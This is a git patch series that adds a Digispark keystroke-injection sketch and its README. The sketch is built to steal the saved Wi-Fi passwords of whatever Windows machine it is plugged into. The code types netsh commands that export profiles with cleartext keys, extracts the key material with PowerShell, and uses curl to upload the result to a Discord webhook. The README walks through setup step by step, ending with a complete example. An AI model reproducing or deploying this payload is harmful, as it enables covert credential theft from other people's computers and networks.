From 1dc92500d2066dc1a75a259379d4c5dfe60d726c Mon Sep 17 00:00:00 2001 From: Ashfaque Khan <42895491+ashfaquekhan@users.noreply.github.com> Date: Wed, 12 Oct 2022 21:43:07 +0530 Subject: [PATCH 1/4] Create wifi_profile_discord_webhook.ino --- .../wifi_profile_discord_webhook.ino | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 WiFi_Profile_Discord/wifi_profile_discord_webhook.ino diff --git a/WiFi_Profile_Discord/wifi_profile_discord_webhook.ino b/WiFi_Profile_Discord/wifi_profile_discord_webhook.ino new file mode 100644 index 0000000..239de07 --- /dev/null +++ b/WiFi_Profile_Discord/wifi_profile_discord_webhook.ino @@ -0,0 +1,21 @@ +#include "DigiKeyboard.h" +void setup() { + pinMode(1, OUTPUT); //LED on Model A +} +void loop() { + DigiKeyboard.update(); + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run + DigiKeyboard.delay(300); + DigiKeyboard.println("cmd"); //open command prompt + DigiKeyboard.delay(500); + DigiKeyboard.println("netsh wlan export profile key=clear"); //export wifi profiles + DigiKeyboard.delay(500); + DigiKeyboard.println("powershell Select-String -Path Wi-Fi-* -Pattern 'keyMaterial' > FILENAME"); //reveal keys/passwords and store them as json (give a name to your file by changing "FILENAME") + DigiKeyboard.delay(500); + DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json={\\\"wait\\\":true,\\\"content\\\":\\\"ANYCOMMENT\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" WEBHOOK_URL"); //curl command which is used to send the passwords to your discord channel/server (**Change replace "WEBHOOK_URL" with your discord's webhook url of any channel. + DigiKeyboard.delay(500); + DigiKeyboard.println("exit"); + digitalWrite(1, HIGH); //led on + DigiKeyboard.delay(90000); +} From 2489b09f9d307b6d365425249eaae44d1d748de0 Mon Sep 17 00:00:00 2001 From: Ashfaque Khan <42895491+ashfaquekhan@users.noreply.github.com> Date: Wed, 12 Oct 2022 21:59:41 +0530 Subject: [PATCH 2/4] Create README.md --- WiFi_Profile_Discord/README.md | 53 ++++++++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 WiFi_Profile_Discord/README.md diff --git a/WiFi_Profile_Discord/README.md b/WiFi_Profile_Discord/README.md new file mode 100644 index 0000000..05cd980 --- /dev/null +++ b/WiFi_Profile_Discord/README.md @@ -0,0 +1,53 @@ +## GRAB AND SEND WIFI PASSWORDS TO YOUR DISCORD CHANNEL + +#### STEP 1: + 1.Create a Discord Server/Channel + + 2.image + go to the edit channel option. + + 3.image + go to integrations. + + 4.image + create a new web hook. + + 5.image + copy the web hook url. + +#### STEP 2: + image + change the "FILENAME" to anyname you want your folder to be. + + Also Edit the line number 16 in the Arduino code and insert the following details (* most important Webhook url) + ''' + DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json={\\\"wait\\\":true,\\\"content\\\":\\\"ANYCOMMENT\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" WEBHOOK_URL"); //curl command which is used to send the passwords to your discord channel/server (**Change replace "WEBHOOK_URL" with your discord's webhook url of any channel. + ''' + + #### Example: + ''' + #include "DigiKeyboard.h" + void setup() { + pinMode(1, OUTPUT); //LED on Model A + } + void loop() { + DigiKeyboard.update(); + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run + DigiKeyboard.delay(300); + DigiKeyboard.println("cmd"); + DigiKeyboard.delay(500); + DigiKeyboard.println("netsh wlan export profile key=clear"); + DigiKeyboard.delay(500); + DigiKeyboard.println("powershell Select-String -Path Wi-Fi-* -Pattern 'keyMaterial' > wifi"); + DigiKeyboard.delay(500); + DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json={\\\"wait\\\":true,\\\"content\\\":\\\"Ashfaque\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" https://discord.com/api/webhooks/996103446740619284/"); // this is a dummy webhook url. + DigiKeyboard.delay(500); + DigiKeyboard.println("exit"); + digitalWrite(1, HIGH); //led on + DigiKeyboard.delay(90000); + } +''' + + ### Your are all set to upload the code. + From 8b2005f6127cda6c7474ac7e327ad30b92c55ea1 Mon Sep 17 00:00:00 2001 From: Ashfaque Khan <42895491+ashfaquekhan@users.noreply.github.com> Date: Wed, 12 Oct 2022 22:02:36 +0530 Subject: [PATCH 3/4] Update README.md --- WiFi_Profile_Discord/README.md | 85 +++++++++++++++++----------------- 1 file changed, 42 insertions(+), 43 deletions(-) diff --git a/WiFi_Profile_Discord/README.md b/WiFi_Profile_Discord/README.md index 05cd980..3577010 100644 --- a/WiFi_Profile_Discord/README.md +++ b/WiFi_Profile_Discord/README.md @@ -1,53 +1,52 @@ ## GRAB AND SEND WIFI PASSWORDS TO YOUR DISCORD CHANNEL #### STEP 1: - 1.Create a Discord Server/Channel - - 2.image - go to the edit channel option. - - 3.image - go to integrations. - - 4.image - create a new web hook. - - 5.image - copy the web hook url. +1.Create a Discord Server/Channel + +2.image +go to the edit channel option. + +3.image +go to integrations. + +4.image +create a new web hook. + +5.image +copy the web hook url. #### STEP 2: - image - change the "FILENAME" to anyname you want your folder to be. - - Also Edit the line number 16 in the Arduino code and insert the following details (* most important Webhook url) - ''' - DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json={\\\"wait\\\":true,\\\"content\\\":\\\"ANYCOMMENT\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" WEBHOOK_URL"); //curl command which is used to send the passwords to your discord channel/server (**Change replace "WEBHOOK_URL" with your discord's webhook url of any channel. - ''' +image +change the "FILENAME" to anyname you want your folder to be. + +Also Edit the line number 16 in the Arduino code and insert the following details (* most important Webhook url) + +DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json={\\\"wait\\\":true,\\\"content\\\":\\\"ANYCOMMENT\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" WEBHOOK_URL"); //curl command which is used to send the passwords to your discord channel/server (**Change replace "WEBHOOK_URL" with your discord's webhook url of any channel. + #### Example: - ''' - #include "DigiKeyboard.h" - void setup() { - pinMode(1, OUTPUT); //LED on Model A - } - void loop() { - DigiKeyboard.update(); - DigiKeyboard.sendKeyStroke(0); - DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run - DigiKeyboard.delay(300); - DigiKeyboard.println("cmd"); - DigiKeyboard.delay(500); - DigiKeyboard.println("netsh wlan export profile key=clear"); - DigiKeyboard.delay(500); - DigiKeyboard.println("powershell Select-String -Path Wi-Fi-* -Pattern 'keyMaterial' > wifi"); - DigiKeyboard.delay(500); - DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json={\\\"wait\\\":true,\\\"content\\\":\\\"Ashfaque\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" https://discord.com/api/webhooks/996103446740619284/"); // this is a dummy webhook url. - DigiKeyboard.delay(500); - DigiKeyboard.println("exit"); - digitalWrite(1, HIGH); //led on - DigiKeyboard.delay(90000); - } -''' + + #include "DigiKeyboard.h" + void setup() { + pinMode(1, OUTPUT); //LED on Model A + } + void loop() { + DigiKeyboard.update(); + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run + DigiKeyboard.delay(300); + DigiKeyboard.println("cmd"); + DigiKeyboard.delay(500); + DigiKeyboard.println("netsh wlan export profile key=clear"); + DigiKeyboard.delay(500); + DigiKeyboard.println("powershell Select-String -Path Wi-Fi-* -Pattern 'keyMaterial' > wifi"); + DigiKeyboard.delay(500); + DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json= {\\\"wait\\\":true,\\\"content\\\":\\\"Ashfaque\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" https://discord.com/api/webhooks/996103446740619284/"); // this is a dummy webhook url. + DigiKeyboard.delay(500); + DigiKeyboard.println("exit"); + digitalWrite(1, HIGH); //led on + DigiKeyboard.delay(90000); + } ### Your are all set to upload the code. From 3598a7c6c925724e73fdbc717f524134cd21d4bd Mon Sep 17 00:00:00 2001 From: Ashfaque Khan <42895491+ashfaquekhan@users.noreply.github.com> Date: Wed, 12 Oct 2022 22:05:38 +0530 Subject: [PATCH 4/4] Update README.md --- WiFi_Profile_Discord/README.md | 57 +++++++++++++++++++--------------- 1 file changed, 32 insertions(+), 25 deletions(-) diff --git a/WiFi_Profile_Discord/README.md b/WiFi_Profile_Discord/README.md index 3577010..f52de47 100644 --- a/WiFi_Profile_Discord/README.md +++ b/WiFi_Profile_Discord/README.md @@ -4,49 +4,56 @@ 1.Create a Discord Server/Channel 2.image + go to the edit channel option. 3.image + go to integrations. 4.image + create a new web hook. 5.image + copy the web hook url. #### STEP 2: +##### Change the "FILENAME" to anyname you want your folder to be in Line number 14. image -change the "FILENAME" to anyname you want your folder to be. -Also Edit the line number 16 in the Arduino code and insert the following details (* most important Webhook url) -DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json={\\\"wait\\\":true,\\\"content\\\":\\\"ANYCOMMENT\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" WEBHOOK_URL"); //curl command which is used to send the passwords to your discord channel/server (**Change replace "WEBHOOK_URL" with your discord's webhook url of any channel. +##### Also Edit the line number 16 in the Arduino code and insert the following details (* most important Webhook url) + +`DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json={\\\"wait\\\":true,\\\"content\\\":\\\"ANYCOMMENT\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" WEBHOOK_URL"); //curl command which is used to send the passwords to your discord channel/server ` + +(NOTE: Change replace "WEBHOOK_URL" with your discord's webhook url of any channel.) #### Example: - - #include "DigiKeyboard.h" - void setup() { - pinMode(1, OUTPUT); //LED on Model A - } - void loop() { - DigiKeyboard.update(); - DigiKeyboard.sendKeyStroke(0); - DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run - DigiKeyboard.delay(300); - DigiKeyboard.println("cmd"); - DigiKeyboard.delay(500); - DigiKeyboard.println("netsh wlan export profile key=clear"); - DigiKeyboard.delay(500); - DigiKeyboard.println("powershell Select-String -Path Wi-Fi-* -Pattern 'keyMaterial' > wifi"); - DigiKeyboard.delay(500); - DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json= {\\\"wait\\\":true,\\\"content\\\":\\\"Ashfaque\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" https://discord.com/api/webhooks/996103446740619284/"); // this is a dummy webhook url. - DigiKeyboard.delay(500); - DigiKeyboard.println("exit"); - digitalWrite(1, HIGH); //led on - DigiKeyboard.delay(90000); - } + + #include "DigiKeyboard.h" + void setup() { + pinMode(1, OUTPUT); //LED on Model A + } + void loop() { + DigiKeyboard.update(); + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run + DigiKeyboard.delay(300); + DigiKeyboard.println("cmd"); + DigiKeyboard.delay(500); + DigiKeyboard.println("netsh wlan export profile key=clear"); + DigiKeyboard.delay(500); + DigiKeyboard.println("powershell Select-String -Path Wi-Fi-* -Pattern 'keyMaterial' > wifi"); + DigiKeyboard.delay(500); + DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json= {\\\"wait\\\":true,\\\"content\\\":\\\"Ashfaque\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" https://discord.com/api/webhooks/996103446740619284/"); // this is a dummy webhook url. + DigiKeyboard.delay(500); + DigiKeyboard.println("exit"); + digitalWrite(1, HIGH); //led on + DigiKeyboard.delay(90000); + } ### Your are all set to upload the code.